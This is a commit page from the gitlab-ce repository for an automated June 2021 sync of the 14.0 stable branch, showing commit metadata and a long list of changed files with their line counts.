summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2021-06-16 18:25:58 +0000
committerGitLab Bot <gitlab-bot@gitlab.com>2021-06-16 18:25:58 +0000
commita5f4bba440d7f9ea47046a0a561d49adf0a1e6d4 (patch)
treefb69158581673816a8cd895f9d352dcb3c678b1e
parentd16b2e8639e99961de6ddc93909f3bb5c1445ba1 (diff)
downloadgitlab-ce-a5f4bba440d7f9ea47046a0a561d49adf0a1e6d4.tar.gz
Add latest changes from gitlab-org/gitlab@14-0-stable-eev14.0.0-rc42
-rw-r--r--.eslintrc.yml5
-rw-r--r--.gitignore1
-rw-r--r--.gitlab-ci.yml1
-rw-r--r--.gitlab/CODEOWNERS28
-rw-r--r--.gitlab/changelog_config.yml5
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml6
-rw-r--r--.gitlab/ci/frontend.gitlab-ci.yml27
-rw-r--r--.gitlab/ci/global.gitlab-ci.yml33
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml10
-rw-r--r--.gitlab/ci/reports.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/review.gitlab-ci.yml54
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml101
-rw-r--r--.gitlab/ci/untamper-my-lockfile.yml26
-rw-r--r--.gitlab/ci/yaml.gitlab-ci.yml1
-rw-r--r--.gitlab/issue_templates/Documentation.md2
-rw-r--r--.gitlab/issue_templates/Feature Flag Removal.md28
-rw-r--r--.gitlab/issue_templates/Feature Flag Roll Out.md6
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new Git repository type.md6
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new blob type.md6
-rw-r--r--.gitlab/merge_request_templates/Documentation.md4
-rw-r--r--.gitlab/merge_request_templates/Security Release.md4
-rw-r--r--.markdownlint.yml2
-rw-r--r--.rubocop.yml9
-rw-r--r--.rubocop_manual_todo.yml83
-rw-r--r--.rubocop_todo.yml7
-rw-r--r--.stylelintrc1
-rw-r--r--CHANGELOG.md16
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_ELASTICSEARCH_INDEXER_VERSION2
-rw-r--r--GITLAB_KAS_VERSION2
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--GITLAB_SHELL_VERSION2
-rw-r--r--Gemfile40
-rw-r--r--Gemfile.lock227
-rw-r--r--README.md8
-rw-r--r--app/assets/images/aws-cloud-formation.pngbin0 -> 2545 bytes
-rw-r--r--app/assets/images/cluster_app_logos/fluentd.pngbin2480 -> 0 bytes
-rw-r--r--app/assets/images/mailers/in_product_marketing/experience-0.pngbin0 -> 66492 bytes
-rw-r--r--app/assets/images/mailers/members/issues.pngbin0 -> 316 bytes
-rw-r--r--app/assets/images/mailers/members/merge-request-open.pngbin0 -> 327 bytes
-rw-r--r--app/assets/images/mailers/members/users.pngbin0 -> 371 bytes
-rw-r--r--app/assets/javascripts/add_context_commits_modal/components/add_context_commits_modal_wrapper.vue10
-rw-r--r--app/assets/javascripts/add_context_commits_modal/store/actions.js10
-rw-r--r--app/assets/javascripts/admin/statistics_panel/store/actions.js6
-rw-r--r--app/assets/javascripts/admin/users/components/users_table.vue7
-rw-r--r--app/assets/javascripts/alert_management/components/alert_management_table.vue4
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_form.vue143
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue4
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue97
-rw-r--r--app/assets/javascripts/alerts_settings/constants.js32
-rw-r--r--app/assets/javascripts/alerts_settings/graphql.js10
-rw-r--r--app/assets/javascripts/alerts_settings/graphql/fragmentTypes.json1
-rw-r--r--app/assets/javascripts/alerts_settings/index.js26
-rw-r--r--app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue10
-rw-r--r--app/assets/javascripts/api.js26
-rw-r--r--app/assets/javascripts/api/analytics_api.js32
-rw-r--r--app/assets/javascripts/api/groups_api.js14
-rw-r--r--app/assets/javascripts/api/markdown_api.js11
-rw-r--r--app/assets/javascripts/badges/components/badge_form.vue28
-rw-r--r--app/assets/javascripts/badges/components/badge_settings.vue11
-rw-r--r--app/assets/javascripts/batch_comments/components/preview_item.vue10
-rw-r--r--app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js9
-rw-r--r--app/assets/javascripts/behaviors/gl_emoji.js1
-rw-r--r--app/assets/javascripts/behaviors/markdown/render_mermaid.js33
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/keybindings.js7
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts.js14
-rw-r--r--app/assets/javascripts/blob/components/table_contents.vue74
-rw-r--r--app/assets/javascripts/blob_edit/blob_bundle.js8
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js14
-rw-r--r--app/assets/javascripts/boards/boards_util.js144
-rw-r--r--app/assets/javascripts/boards/components/board_add_new_column_trigger.vue10
-rw-r--r--app/assets/javascripts/boards/components/board_card.vue16
-rw-r--r--app/assets/javascripts/boards/components/board_card_inner.vue14
-rw-r--r--app/assets/javascripts/boards/components/board_column.vue15
-rw-r--r--app/assets/javascripts/boards/components/board_column_deprecated.vue7
-rw-r--r--app/assets/javascripts/boards/components/board_content.vue1
-rw-r--r--app/assets/javascripts/boards/components/board_content_sidebar.vue67
-rw-r--r--app/assets/javascripts/boards/components/board_filtered_search.vue5
-rw-r--r--app/assets/javascripts/boards/components/board_form.vue51
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue89
-rw-r--r--app/assets/javascripts/boards/components/board_list_deprecated.vue13
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue20
-rw-r--r--app/assets/javascripts/boards/components/board_list_header_deprecated.vue16
-rw-r--r--app/assets/javascripts/boards/components/board_new_issue.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_settings_sidebar.vue4
-rw-r--r--app/assets/javascripts/boards/components/config_toggle.vue3
-rw-r--r--app/assets/javascripts/boards/components/issue_card_inner_deprecated.vue6
-rw-r--r--app/assets/javascripts/boards/components/issue_time_estimate_deprecated.vue2
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue110
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue11
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue158
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_subscription.vue6
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_time_tracker.vue20
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_sidebar_title.vue5
-rw-r--r--app/assets/javascripts/boards/constants.js27
-rw-r--r--app/assets/javascripts/boards/graphql/group_board_members.query.graphql16
-rw-r--r--app/assets/javascripts/boards/graphql/issue.fragment.graphql4
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql8
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql12
-rw-r--r--app/assets/javascripts/boards/graphql/lists_issues.query.graphql8
-rw-r--r--app/assets/javascripts/boards/graphql/project_board_members.query.graphql16
-rw-r--r--app/assets/javascripts/boards/index.js16
-rw-r--r--app/assets/javascripts/boards/models/project.js1
-rw-r--r--app/assets/javascripts/boards/stores/actions.js103
-rw-r--r--app/assets/javascripts/boards/stores/mutation_types.js1
-rw-r--r--app/assets/javascripts/boards/stores/mutations.js9
-rw-r--r--app/assets/javascripts/boards/stores/state.js1
-rw-r--r--app/assets/javascripts/branches/components/delete_branch_button.vue91
-rw-r--r--app/assets/javascripts/branches/components/delete_branch_modal.vue193
-rw-r--r--app/assets/javascripts/branches/components/sort_dropdown.vue5
-rw-r--r--app/assets/javascripts/branches/divergence_graph.js6
-rw-r--r--app/assets/javascripts/branches/event_hub.js3
-rw-r--r--app/assets/javascripts/branches/init_delete_branch_button.js35
-rw-r--r--app/assets/javascripts/branches/init_delete_branch_modal.js16
-rw-r--r--app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue2
-rw-r--r--app/assets/javascripts/ci_variable_list/store/actions.js22
-rw-r--r--app/assets/javascripts/clusters/clusters_bundle.js40
-rw-r--r--app/assets/javascripts/clusters/components/applications.vue65
-rw-r--r--app/assets/javascripts/clusters/components/fluentd_output_settings.vue238
-rw-r--r--app/assets/javascripts/clusters/components/ingress_modsecurity_settings.vue266
-rw-r--r--app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue14
-rw-r--r--app/assets/javascripts/clusters/constants.js2
-rw-r--r--app/assets/javascripts/clusters/forms/components/integration_form.vue17
-rw-r--r--app/assets/javascripts/clusters/forms/stores/state.js1
-rw-r--r--app/assets/javascripts/clusters/services/clusters_service.js1
-rw-r--r--app/assets/javascripts/clusters/stores/clusters_store.js29
-rw-r--r--app/assets/javascripts/confidential_merge_request/components/project_form_group.vue6
-rw-r--r--app/assets/javascripts/content_editor/components/content_editor.vue8
-rw-r--r--app/assets/javascripts/content_editor/components/toolbar_link_button.vue96
-rw-r--r--app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue75
-rw-r--r--app/assets/javascripts/content_editor/components/top_toolbar.vue24
-rw-r--r--app/assets/javascripts/content_editor/constants.js34
-rw-r--r--app/assets/javascripts/content_editor/extensions/code_block_highlight.js20
-rw-r--r--app/assets/javascripts/content_editor/extensions/image.js45
-rw-r--r--app/assets/javascripts/content_editor/extensions/link.js33
-rw-r--r--app/assets/javascripts/content_editor/services/content_editor.js7
-rw-r--r--app/assets/javascripts/content_editor/services/track_input_rules_and_shortcuts.js11
-rw-r--r--app/assets/javascripts/content_editor/services/utils.js5
-rw-r--r--app/assets/javascripts/create_cluster/eks_cluster/store/actions.js6
-rw-r--r--app/assets/javascripts/cycle_analytics/components/base.vue129
-rw-r--r--app/assets/javascripts/cycle_analytics/components/path_navigation.vue127
-rw-r--r--app/assets/javascripts/cycle_analytics/constants.js7
-rw-r--r--app/assets/javascripts/cycle_analytics/index.js4
-rw-r--r--app/assets/javascripts/cycle_analytics/store/actions.js94
-rw-r--r--app/assets/javascripts/cycle_analytics/store/getters.js10
-rw-r--r--app/assets/javascripts/cycle_analytics/store/index.js2
-rw-r--r--app/assets/javascripts/cycle_analytics/store/mutation_types.js10
-rw-r--r--app/assets/javascripts/cycle_analytics/store/mutations.js49
-rw-r--r--app/assets/javascripts/cycle_analytics/store/state.js5
-rw-r--r--app/assets/javascripts/cycle_analytics/utils.js130
-rw-r--r--app/assets/javascripts/deploy_freeze/store/actions.js10
-rw-r--r--app/assets/javascripts/design_management/components/design_overlay.vue10
-rw-r--r--app/assets/javascripts/diffs/components/app.vue11
-rw-r--r--app/assets/javascripts/diffs/components/diff_content.vue3
-rw-r--r--app/assets/javascripts/diffs/components/diff_expansion_cell.vue6
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue6
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue11
-rw-r--r--app/assets/javascripts/diffs/components/diff_row.vue42
-rw-r--r--app/assets/javascripts/diffs/components/diff_stats.vue53
-rw-r--r--app/assets/javascripts/diffs/components/diff_view.vue12
-rw-r--r--app/assets/javascripts/diffs/components/settings_dropdown.vue19
-rw-r--r--app/assets/javascripts/diffs/constants.js4
-rw-r--r--app/assets/javascripts/diffs/i18n.js1
-rw-r--r--app/assets/javascripts/diffs/index.js21
-rw-r--r--app/assets/javascripts/diffs/store/actions.js39
-rw-r--r--app/assets/javascripts/diffs/store/getters.js10
-rw-r--r--app/assets/javascripts/diffs/store/modules/diff_state.js11
-rw-r--r--app/assets/javascripts/diffs/store/modules/index.js2
-rw-r--r--app/assets/javascripts/diffs/store/utils.js116
-rw-r--r--app/assets/javascripts/diffs/utils/diff_file.js36
-rw-r--r--app/assets/javascripts/diffs/utils/workers.js107
-rw-r--r--app/assets/javascripts/diffs/workers/tree_worker.js2
-rw-r--r--app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js4
-rw-r--r--app/assets/javascripts/emoji/awards_app/index.js2
-rw-r--r--app/assets/javascripts/emoji/awards_app/store/actions.js13
-rw-r--r--app/assets/javascripts/emoji/components/picker.vue10
-rw-r--r--app/assets/javascripts/environments/components/environment_actions.vue2
-rw-r--r--app/assets/javascripts/environments/components/environments_app.vue2
-rw-r--r--app/assets/javascripts/environments/components/stop_environment_modal.vue2
-rw-r--r--app/assets/javascripts/error_tracking/components/error_details.vue12
-rw-r--r--app/assets/javascripts/error_tracking/components/error_tracking_list.vue2
-rw-r--r--app/assets/javascripts/error_tracking/store/actions.js8
-rw-r--r--app/assets/javascripts/error_tracking/store/details/actions.js6
-rw-r--r--app/assets/javascripts/error_tracking/store/list/actions.js6
-rw-r--r--app/assets/javascripts/error_tracking_settings/store/actions.js7
-rw-r--r--app/assets/javascripts/feature_flags/components/empty_state.vue95
-rw-r--r--app/assets/javascripts/feature_flags/components/environments_dropdown.vue6
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags.vue246
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags_tab.vue106
-rw-r--r--app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue6
-rw-r--r--app/assets/javascripts/feature_flags/constants.js3
-rw-r--r--app/assets/javascripts/feature_flags/index.js4
-rw-r--r--app/assets/javascripts/feature_flags/store/edit/actions.js6
-rw-r--r--app/assets/javascripts/feature_flags/store/index/actions.js34
-rw-r--r--app/assets/javascripts/feature_flags/store/index/mutation_types.js7
-rw-r--r--app/assets/javascripts/feature_flags/store/index/mutations.js54
-rw-r--r--app/assets/javascripts/feature_flags/store/index/state.js9
-rw-r--r--app/assets/javascripts/filtered_search/dropdown_ajax_filter.js6
-rw-r--r--app/assets/javascripts/filtered_search/filtered_search_manager.js2
-rw-r--r--app/assets/javascripts/flash.js4
-rw-r--r--app/assets/javascripts/fly_out_nav.js26
-rw-r--r--app/assets/javascripts/frequent_items/components/app.vue11
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue2
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_search_input.vue2
-rw-r--r--app/assets/javascripts/frequent_items/index.js1
-rw-r--r--app/assets/javascripts/gpg_badges.js7
-rw-r--r--app/assets/javascripts/grafana_integration/components/grafana_integration.vue50
-rw-r--r--app/assets/javascripts/grafana_integration/store/actions.js7
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/alert.fragment.graphql8
-rw-r--r--app/assets/javascripts/graphql_shared/fragments/alert_detail_item.fragment.graphql (renamed from app/assets/javascripts/vue_shared/alert_details/graphql/fragments/alert_detail_item.fragment.graphql)0
-rw-r--r--app/assets/javascripts/graphql_shared/queries/alert_details.query.graphql (renamed from app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_details.query.graphql)0
-rw-r--r--app/assets/javascripts/graphql_shared/queries/get_alerts.query.graphql6
-rw-r--r--app/assets/javascripts/graphql_shared/queries/get_user_callouts.query.graphql (renamed from app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql)0
-rw-r--r--app/assets/javascripts/groups/components/group_item.vue7
-rw-r--r--app/assets/javascripts/groups_select.js17
-rw-r--r--app/assets/javascripts/ide/components/branches/search_list.vue2
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/modal.vue18
-rw-r--r--app/assets/javascripts/ide/constants.js2
-rw-r--r--app/assets/javascripts/ide/ide_router.js10
-rw-r--r--app/assets/javascripts/ide/index.js3
-rw-r--r--app/assets/javascripts/ide/stores/actions/merge_request.js20
-rw-r--r--app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js6
-rw-r--r--app/assets/javascripts/ide/stores/modules/terminal/actions/session_status.js4
-rw-r--r--app/assets/javascripts/ide/utils.js2
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue20
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/queries/group.query.graphql5
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/queries/groupAndProject.query.graphql9
-rw-r--r--app/assets/javascripts/import_entities/import_projects/store/actions.js26
-rw-r--r--app/assets/javascripts/incidents/components/incidents_list.vue10
-rw-r--r--app/assets/javascripts/incidents_settings/components/alerts_form.vue145
-rw-r--r--app/assets/javascripts/incidents_settings/components/incidents_settings_tabs.vue14
-rw-r--r--app/assets/javascripts/incidents_settings/components/pagerduty_form.vue22
-rw-r--r--app/assets/javascripts/incidents_settings/constants.js35
-rw-r--r--app/assets/javascripts/incidents_settings/incidents_settings_service.js7
-rw-r--r--app/assets/javascripts/incidents_settings/index.js12
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue5
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_trigger_fields.vue4
-rw-r--r--app/assets/javascripts/integrations/edit/components/trigger_fields.vue2
-rw-r--r--app/assets/javascripts/invite_members/components/group_select.vue50
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_modal.vue26
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_trigger.vue3
-rw-r--r--app/assets/javascripts/invite_members/constants.js5
-rw-r--r--app/assets/javascripts/invite_members/init_invite_members_modal.js2
-rw-r--r--app/assets/javascripts/invite_members/init_invite_members_trigger.js22
-rw-r--r--app/assets/javascripts/issuable/components/csv_export_modal.vue1
-rw-r--r--app/assets/javascripts/issuable/components/csv_import_export_buttons.vue19
-rw-r--r--app/assets/javascripts/issuable/components/csv_import_modal.vue8
-rw-r--r--app/assets/javascripts/issuable/components/issuable_by_email.vue16
-rw-r--r--app/assets/javascripts/issuable/components/status_box.vue6
-rw-r--r--app/assets/javascripts/issuable_form.js2
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_item.vue4
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_tabs.vue2
-rw-r--r--app/assets/javascripts/issue_show/components/app.vue62
-rw-r--r--app/assets/javascripts/issue_show/components/description.vue8
-rw-r--r--app/assets/javascripts/issue_show/components/edit_actions.vue138
-rw-r--r--app/assets/javascripts/issue_show/components/fields/description_template.vue4
-rw-r--r--app/assets/javascripts/issue_show/components/fields/title.vue2
-rw-r--r--app/assets/javascripts/issue_show/components/fields/type.vue79
-rw-r--r--app/assets/javascripts/issue_show/components/form.vue48
-rw-r--r--app/assets/javascripts/issue_show/constants.js12
-rw-r--r--app/assets/javascripts/issue_show/graphql.js9
-rw-r--r--app/assets/javascripts/issue_show/incident.js22
-rw-r--r--app/assets/javascripts/issue_show/issue.js31
-rw-r--r--app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql3
-rw-r--r--app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql3
-rw-r--r--app/assets/javascripts/issues_list/components/issues_list_app.vue101
-rw-r--r--app/assets/javascripts/issues_list/constants.js28
-rw-r--r--app/assets/javascripts/issues_list/index.js8
-rw-r--r--app/assets/javascripts/issues_list/utils.js3
-rw-r--r--app/assets/javascripts/jira_import/components/jira_import_form.vue10
-rw-r--r--app/assets/javascripts/jobs/components/job_container_item.vue2
-rw-r--r--app/assets/javascripts/jobs/components/table/constants.js9
-rw-r--r--app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql11
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table.vue3
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table_app.vue81
-rw-r--r--app/assets/javascripts/lib/utils/constants.js3
-rw-r--r--app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js703
-rw-r--r--app/assets/javascripts/lib/utils/datetime/date_format_utility.js260
-rw-r--r--app/assets/javascripts/lib/utils/datetime/pikaday_utility.js28
-rw-r--r--app/assets/javascripts/lib/utils/datetime/timeago_utility.js124
-rw-r--r--app/assets/javascripts/lib/utils/datetime_range.js9
-rw-r--r--app/assets/javascripts/lib/utils/datetime_utility.js1111
-rw-r--r--app/assets/javascripts/lib/utils/number_utils.js8
-rw-r--r--app/assets/javascripts/lib/utils/table_utility.js9
-rw-r--r--app/assets/javascripts/lib/utils/url_utility.js38
-rw-r--r--app/assets/javascripts/locale/sprintf.js6
-rw-r--r--app/assets/javascripts/logs/components/environment_logs.vue25
-rw-r--r--app/assets/javascripts/logs/constants.js1
-rw-r--r--app/assets/javascripts/logs/stores/actions.js32
-rw-r--r--app/assets/javascripts/logs/stores/getters.js13
-rw-r--r--app/assets/javascripts/logs/stores/mutation_types.js3
-rw-r--r--app/assets/javascripts/logs/stores/mutations.js25
-rw-r--r--app/assets/javascripts/logs/stores/state.js10
-rw-r--r--app/assets/javascripts/main.js7
-rw-r--r--app/assets/javascripts/manual_ordering.js6
-rw-r--r--app/assets/javascripts/members/components/app.vue12
-rw-r--r--app/assets/javascripts/members/components/table/role_dropdown.vue2
-rw-r--r--app/assets/javascripts/members/index.js47
-rw-r--r--app/assets/javascripts/merge_request.js17
-rw-r--r--app/assets/javascripts/monitoring/components/alert_widget.vue6
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard.vue27
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_panel.vue5
-rw-r--r--app/assets/javascripts/monitoring/stores/actions.js71
-rw-r--r--app/assets/javascripts/monitoring/utils.js6
-rw-r--r--app/assets/javascripts/nav/components/responsive_app.vue107
-rw-r--r--app/assets/javascripts/nav/components/responsive_header.vue37
-rw-r--r--app/assets/javascripts/nav/components/responsive_home.vue62
-rw-r--r--app/assets/javascripts/nav/components/top_nav_app.vue29
-rw-r--r--app/assets/javascripts/nav/components/top_nav_container_view.vue39
-rw-r--r--app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue84
-rw-r--r--app/assets/javascripts/nav/components/top_nav_menu_item.vue27
-rw-r--r--app/assets/javascripts/nav/components/top_nav_menu_sections.vue63
-rw-r--r--app/assets/javascripts/nav/components/top_nav_new_dropdown.vue55
-rw-r--r--app/assets/javascripts/nav/event_hub.js5
-rw-r--r--app/assets/javascripts/nav/index.js22
-rw-r--r--app/assets/javascripts/nav/mount.js9
-rw-r--r--app/assets/javascripts/nav/utils/has_menu_expanded.js2
-rw-r--r--app/assets/javascripts/nav/utils/index.js2
-rw-r--r--app/assets/javascripts/nav/utils/reset_menu_items_active.js14
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue11
-rw-r--r--app/assets/javascripts/notes/components/note_actions.vue2
-rw-r--r--app/assets/javascripts/notes/components/noteable_discussion.vue9
-rw-r--r--app/assets/javascripts/notes/mixins/diff_line_note_form.js10
-rw-r--r--app/assets/javascripts/notes/stores/actions.js26
-rw-r--r--app/assets/javascripts/operation_settings/components/metrics_settings.vue8
-rw-r--r--app/assets/javascripts/operation_settings/store/actions.js7
-rw-r--r--app/assets/javascripts/packages/details/components/app.vue101
-rw-r--r--app/assets/javascripts/packages/details/components/file_sha.vue41
-rw-r--r--app/assets/javascripts/packages/details/components/installation_commands.vue4
-rw-r--r--app/assets/javascripts/packages/details/components/package_files.vue67
-rw-r--r--app/assets/javascripts/packages/details/store/actions.js33
-rw-r--r--app/assets/javascripts/packages/details/store/mutation_types.js1
-rw-r--r--app/assets/javascripts/packages/details/store/mutations.js3
-rw-r--r--app/assets/javascripts/packages/list/stores/actions.js19
-rw-r--r--app/assets/javascripts/packages/shared/constants.js18
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/components/details_title.vue82
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/components/terraform_installation.vue66
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/details_app_bundle.js32
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/project/components/registry_settings_app.vue88
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/project/registry_settings_bundle.js4
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue54
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/utils.js3
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/integrations/index.js5
-rw-r--r--app/assets/javascripts/pages/admin/jobs/index/components/stop_jobs_modal.vue6
-rw-r--r--app/assets/javascripts/pages/admin/runners/index/index.js5
-rw-r--r--app/assets/javascripts/pages/groups/group_members/index.js71
-rw-r--r--app/assets/javascripts/pages/groups/new/components/app.vue55
-rw-r--r--app/assets/javascripts/pages/groups/new/components/create_group_description_details.vue44
-rw-r--r--app/assets/javascripts/pages/groups/new/index.js33
-rw-r--r--app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js2
-rw-r--r--app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue6
-rw-r--r--app/assets/javascripts/pages/profiles/show/index.js8
-rw-r--r--app/assets/javascripts/pages/projects/blob/show/index.js19
-rw-r--r--app/assets/javascripts/pages/projects/branches/index/index.js8
-rw-r--r--app/assets/javascripts/pages/projects/feature_flags_user_lists/index/index.js25
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/app.vue5
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue93
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue8
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/show.js4
-rw-r--r--app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue6
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js4
-rw-r--r--app/assets/javascripts/pages/projects/packages/infrastructure_registry/show/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue46
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/init_form.js2
-rw-r--r--app/assets/javascripts/pages/projects/project.js2
-rw-r--r--app/assets/javascripts/pages/projects/project_members/index.js73
-rw-r--r--app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/settings/integrations/show/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue2
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue2
-rw-r--r--app/assets/javascripts/pages/projects/show/index.js4
-rw-r--r--app/assets/javascripts/pages/shared/mount_runner_aws_deployments.js17
-rw-r--r--app/assets/javascripts/pages/shared/nav/sidebar_tracking.js44
-rw-r--r--app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue170
-rw-r--r--app/assets/javascripts/pages/shared/wikis/constants.js4
-rw-r--r--app/assets/javascripts/pages/users/activity_calendar.js67
-rw-r--r--app/assets/javascripts/pdf/index.vue11
-rw-r--r--app/assets/javascripts/performance_bar/components/detailed_metric.vue2
-rw-r--r--app/assets/javascripts/performance_bar/components/performance_bar_app.vue7
-rw-r--r--app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js8
-rw-r--r--app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue16
-rw-r--r--app/assets/javascripts/pipeline_editor/components/drawer/cards/first_pipeline_card.vue44
-rw-r--r--app/assets/javascripts/pipeline_editor/components/drawer/ui/pipeline_visual_reference.vue43
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue20
-rw-r--r--app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue162
-rw-r--r--app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue3
-rw-r--r--app/assets/javascripts/pipeline_editor/constants.js2
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql7
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/resolvers.js19
-rw-r--r--app/assets/javascripts/pipeline_editor/index.js8
-rw-r--r--app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue31
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue6
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js12
-rw-r--r--app/assets/javascripts/pipelines/components/header_component.vue14
-rw-r--r--app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue6
-rw-r--r--app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue90
-rw-r--r--app/assets/javascripts/pipelines/components/parsing_utils.js36
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue77
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue1
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue22
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue6
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue6
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_trigger_author_token.vue6
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql1
-rw-r--r--app/assets/javascripts/pipelines/mixins/pipelines_mixin.js16
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_bundle.js10
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_notification.js29
-rw-r--r--app/assets/javascripts/pipelines/pipelines_index.js2
